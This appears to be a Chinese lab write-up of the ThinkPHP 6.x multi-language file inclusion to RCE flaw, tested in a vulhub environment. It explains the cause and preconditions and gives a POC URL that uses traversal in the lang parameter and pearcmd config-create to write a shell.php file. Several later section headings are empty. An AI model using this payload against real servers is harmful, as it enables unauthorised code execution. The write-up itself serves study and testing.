本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。
:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::
ThinkPHP6.X 本地文件包含导致 RCE 漏洞
📚测试环境
vulhub 靶场 thinkphp 6.x lang-rce 环境。
使用 docker-compose 开启环境
访问测试(参考:https://www.yuque.com/u2164633/eww48f/rhgirguw8myq83n5)
📚漏洞原理
ThinkPHP 6 在开启多语言功能后,可以通过 get、head、cookie 等位置传入参数,实现目录穿越来构成文件包含,再通过 pearcmd 包含 trick 实现 RCE。
📚利用条件
- ThinkPHP 6.X 多语言模块开启
- 安装了 pear 扩展
- 知道 pearcmd.php 的路径
📚POC 示例
/index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E+shell.php
/shell.php
⚠️问题源码
漏洞利用
V1.0
V2.0
优化: